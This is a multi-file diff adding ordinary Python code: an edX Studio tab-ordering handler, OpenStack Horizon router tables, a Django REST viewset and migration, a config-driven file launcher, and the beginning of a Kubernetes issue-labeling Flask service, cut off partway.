+@require_http_methods(("GET", "POST", "PUT")) +def tabs_handler(request, tag=None, package_id=None, branch=None, version_guid=None, block=None): + """ + The restful handler for static tabs. + + GET + html: return page for editing static tabs + json: not supported + PUT or POST + json: update the tab order. It is expected that the request body contains a JSON-encoded dict with entry "tabs". + The value for "tabs" is an array of tab locators, indicating the desired order of the tabs. + + Creating a tab, deleting a tab, or changing its contents is not supported through this method. + Instead use the general xblock URL (see item.xblock_handler). + """ + locator = BlockUsageLocator(package_id=package_id, branch=branch, version_guid=version_guid, block_id=block) + if not has_course_access(request.user, locator): + raise PermissionDenied() + + old_location = loc_mapper().translate_locator_to_location(locator) + store = get_modulestore(old_location) + course_item = store.get_item(old_location) + + if 'application/json' in request.META.get('HTTP_ACCEPT', 'application/json'): + if request.method == 'GET': + raise NotImplementedError('coming soon') + else: + if 'tabs' in request.json: + def get_location_for_tab(tab): + """ Returns the location (old-style) for a tab. """ + return loc_mapper().translate_locator_to_location(BlockUsageLocator(tab)) + + tabs = request.json['tabs'] + + # get list of existing static tabs in course + # make sure they are the same lengths (i.e. the number of passed in tabs equals the number + # that we know about) otherwise we will inadvertently drop some! + existing_static_tabs = [t for t in course_item.tabs if t['type'] == 'static_tab'] + if len(existing_static_tabs) != len(tabs): + return JsonResponse( + {"error": "number of tabs must be {}".format(len(existing_static_tabs))}, status=400 + ) + + # load all reference tabs, return BadRequest if we can't find any of them + tab_items = [] + for tab in tabs: + item = modulestore('direct').get_item(get_location_for_tab(tab)) + if item is None: + return JsonResponse( + {"error": "no tab for found location {}".format(tab)}, status=400 + ) + + tab_items.append(item) + + # now just go through the existing course_tabs and re-order the static tabs + reordered_tabs = [] + static_tab_idx = 0 + for tab in course_item.tabs: + if tab['type'] == 'static_tab': + reordered_tabs.append( + {'type': 'static_tab', + 'name': tab_items[static_tab_idx].display_name, + 'url_slug': tab_items[static_tab_idx].location.name, + } + ) + static_tab_idx += 1 + else: + reordered_tabs.append(tab) + + # OK, re-assemble the static tabs in the new order + course_item.tabs = reordered_tabs + modulestore('direct').update_metadata(course_item.location, own_metadata(course_item)) + return JsonResponse() + else: + raise NotImplementedError('Creating or changing tab content is not supported.') + elif request.method == 'GET': # assume html + # see tabs have been uninitialized (e.g. supporting courses created before tab support in studio) + if course_item.tabs is None or len(course_item.tabs) == 0: + initialize_course_tabs(course_item) + + # first get all static tabs from the tabs list + # we do this because this is also the order in which items are displayed in the LMS + static_tabs_refs = [t for t in course_item.tabs if t['type'] == 'static_tab'] + + static_tabs = [] + for static_tab_ref in static_tabs_refs: + static_tab_loc = old_location.replace(category='static_tab', name=static_tab_ref['url_slug']) + static_tabs.append(modulestore('direct').get_item(static_tab_loc)) + + components = [ + loc_mapper().translate_location( + course_item.location.course_id, static_tab.location, False, True + ) + for static_tab + in static_tabs + ] + + return render_to_response('edit-tabs.html', { + 'context_course': course_item, + 'components': components, + 'course_locator': locator + }) + else: + return HttpResponseNotFound() + + +# "primitive" tab edit functions driven by the command line. +# These should be replaced/deleted by a more capable GUI someday. +# Note that the command line UI identifies the tabs with 1-based +# indexing, but this implementation code is standard 0-based. + +def validate_args(num, tab_type): + "Throws for the disallowed cases." + if num <= 1: + raise ValueError('Tabs 1 and 2 cannot be edited') + if tab_type == 'static_tab': + raise ValueError('Tabs of type static_tab cannot be edited here (use Studio)') + + +def primitive_delete(course, num): + "Deletes the given tab number (0 based)." + tabs = course.tabs + validate_args(num, tabs[num].get('type', '')) + del tabs[num] + # Note for future implementations: if you delete a static_tab, then Chris Dodge + # points out that there's other stuff to delete beyond this element. + # This code happens to not delete static_tab so it doesn't come up. + modulestore('direct').update_metadata(course.location, own_metadata(course)) + + +def primitive_insert(course, num, tab_type, name): + "Inserts a new tab at the given number (0 based)." + validate_args(num, tab_type) + new_tab = {u'type': unicode(tab_type), u'name': unicode(name)} + tabs = course.tabs + tabs.insert(num, new_tab) + modulestore('direct').update_metadata(course.location, own_metadata(course)) + diff --git a/pool/shard009/Python/0084595_tables.py b/pool/shard009/Python/0084595_tables.py new file mode 100644 index 0000000000000000000000000000000000000000..b4ad4d6c16bf814122ff941bbb4e420fe33c62bf --- /dev/null +++ b/pool/shard009/Python/0084595_tables.py @@ -0,0 +1,98 @@ +# vim: tabstop=4 shiftwidth=4 softtabstop=4 + +# Copyright 2012, Nachi Ueno, NTT MCL, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import logging + +from django.core.urlresolvers import reverse +from django.utils.translation import ugettext_lazy as _ + +from horizon import exceptions +from horizon import tables +from openstack_dashboard import api +from openstack_dashboard.dashboards.project.networks.ports.tables import\ + get_fixed_ips + +LOG = logging.getLogger(__name__) + + +def get_device_owner(port): + if port['device_owner'] == 'network:router_gateway': + return _('External Gateway') + elif port['device_owner'] == 'network:router_interface': + return _('Internal Interface') + else: + return ' ' + + +class AddInterface(tables.LinkAction): + name = "create" + verbose_name = _("Add Interface") + url = "horizon:project:routers:addinterface" + classes = ("ajax-modal", "btn-create") + + def get_link_url(self, datum=None): + router_id = self.table.kwargs['router_id'] + return reverse(self.url, args=(router_id,)) + + +class RemoveInterface(tables.DeleteAction): + data_type_singular = _("Interface") + data_type_plural = _("Interfaces") + failure_url = 'horizon:project:routers:detail' + + def delete(self, request, obj_id): + try: + router_id = self.table.kwargs['router_id'] + port = api.quantum.port_get(request, obj_id) + if port['device_owner'] == 'network:router_gateway': + api.quantum.router_remove_gateway(request, router_id) + else: + api.quantum.router_remove_interface(request, + router_id, + port_id=obj_id) + except: + msg = _('Failed to delete interface %s') % obj_id + LOG.info(msg) + router_id = self.table.kwargs['router_id'] + redirect = reverse(self.failure_url, + args=[router_id]) + exceptions.handle(request, msg, redirect=redirect) + + def allowed(self, request, datum=None): + if datum and datum['device_owner'] == 'network:router_gateway': + return False + return True + + +class PortsTable(tables.DataTable): + name = tables.Column("name", + verbose_name=_("Name"), + link="horizon:project:networks:ports:detail") + fixed_ips = tables.Column(get_fixed_ips, verbose_name=_("Fixed IPs")) + status = tables.Column("status", verbose_name=_("Status")) + device_owner = tables.Column(get_device_owner, + verbose_name=_("Type")) + admin_state = tables.Column("admin_state", + verbose_name=_("Admin State")) + + def get_object_display(self, port): + return port.id + + class Meta: + name = "interfaces" + verbose_name = _("Interfaces") + table_actions = (AddInterface, RemoveInterface) + row_actions = (RemoveInterface, ) diff --git a/pool/shard009/Python/0084596_api.py b/pool/shard009/Python/0084596_api.py new file mode 100644 index 0000000000000000000000000000000000000000..3c1d81916b0ef70a2642b1e337d0083b94b2627d --- /dev/null +++ b/pool/shard009/Python/0084596_api.py @@ -0,0 +1,38 @@ +from rest_framework import filters, routers, viewsets +from rest_framework.permissions import IsAdminUser + +from bulbs.utils.filters import CaseInsensitiveBooleanFilter + +from .models import SpecialCoverage +from .serializers import SpecialCoverageSerializer + + +class SpecialCoverageViewSet(viewsets.ModelViewSet): + queryset = SpecialCoverage.objects.all() + serializer_class = SpecialCoverageSerializer + filter_backends = ( + CaseInsensitiveBooleanFilter, + filters.SearchFilter, + filters.OrderingFilter,) + boolean_fields = ("active", "promoted") + search_fields = ( + "name", + "description", + "campaign__campaign_label", + "campaign__sponsor_name" + ) + ordering_fields = ( + "name", + "active", + "promoted", + "campaign__campaign_label", + "campaign__sponsor_name" + ) + paginate_by = 10 + permission_classes = [IsAdminUser] + +api_v1_router = routers.DefaultRouter() +api_v1_router.register( + r"special-coverage", + SpecialCoverageViewSet, + base_name="special-coverage") diff --git a/pool/shard009/Python/0084600_0006_auto_20161002_2335.py b/pool/shard009/Python/0084600_0006_auto_20161002_2335.py new file mode 100644 index 0000000000000000000000000000000000000000..639ce3f13ecb089c64eb50134e83ef3f76935df8 --- /dev/null +++ b/pool/shard009/Python/0084600_0006_auto_20161002_2335.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.1 on 2016-10-02 23:35 +from __future__ import unicode_literals + +import datetime +from django.db import migrations, models +from django.utils.timezone import utc + + +class Migration(migrations.Migration): + + dependencies = [ + ('home', '0005_auto_20161002_2329'), + ] + + operations = [ + migrations.AddField( + model_name='chapter', + name='concepts', + field=models.ManyToManyField(to='home.Concept'), + ), + migrations.AlterField( + model_name='attempt', + name='date', + field=models.DateTimeField(default=datetime.datetime(2016, 10, 2, 23, 35, 50, 14057, tzinfo=utc)), + ), + ] diff --git a/pool/shard009/Python/0084606_main__.py b/pool/shard009/Python/0084606_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..a362a1dc5c4a47119573a010bdf144c861d0d69e --- /dev/null +++ b/pool/shard009/Python/0084606_main__.py @@ -0,0 +1,33 @@ +import argparse +import re +import shlex +import subprocess +import sys +from pathlib import Path + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser() + parser.add_argument("file") + return parser.parse_args() + + +def main() -> None: + args = parse_args() + for line in Path("~/.config/launcher.json").expanduser().open(): + pattern, command = line.split("::") + pattern = pattern.strip() + command = command.strip() + if re.fullmatch(pattern, args.file, flags=re.I): + parameters = shlex.split(command) + parameters = [args.file if p == "{}" else p for p in parameters] + if "{}" not in parameters: + parameters.append(args.file) + subprocess.run(parameters) + sys.exit(0) + print("No suitable program found") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0084609_simple_app.py b/pool/shard009/Python/0084609_simple_app.py new file mode 100644 index 0000000000000000000000000000000000000000..244bc9c4f6e831c188de5437aa988e332bfa9c02 --- /dev/null +++ b/pool/shard009/Python/0084609_simple_app.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python + +# Copyright 2016 The Kubernetes Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os +import logging +from logging.handlers import RotatingFileHandler + +# pylint: disable=import-error +import numpy as np +from flask import Flask, request +from sklearn.feature_extraction import FeatureHasher +from sklearn.externals import joblib +from sklearn.linear_model import SGDClassifier +from nltk.tokenize import RegexpTokenizer +from nltk.stem.porter import PorterStemmer +# pylint: enable=import-error + +APP = Flask(__name__) +# parameters +TEAM_FN = './models/trained_teams_model.pkl' +COMPONENT_FN = './models/trained_components_model.pkl' +LOG_FILE = '/tmp/issue-labeler.log' +LOG_SIZE = 1024*1024*100 +NUM_FEATURES = 262144 +MY_LOSS = 'hinge' +MY_ALPHA = .1 +MY_PENALTY = 'l2' +MY_HASHER = FeatureHasher(input_type='string', n_features=NUM_FEATURES, non_negative=True) +MY_STEMMER = PorterStemmer() +TOKENIZER = RegexpTokenizer(r'\w+') + +STOPWORDS = [] +try: + if not STOPWORDS: + STOPWORDS_FILENAME = './stopwords.txt' + with open(STOPWORDS_FILENAME, 'r') as fp: + STOPWORDS = list([word.strip() for word in fp]) +except: # pylint:disable=bare-except + # don't remove any stopwords + STOPWORDS = [] + +@APP.errorhandler(500) +def internal_error(exception): + return str(exception), 500 + +@APP.route("/", methods=['POST']) +def get_labels(): + """ + The request should contain 2 form-urlencoded parameters + 1) title : title of the issue + 2) body: body of the issue + It returns a team/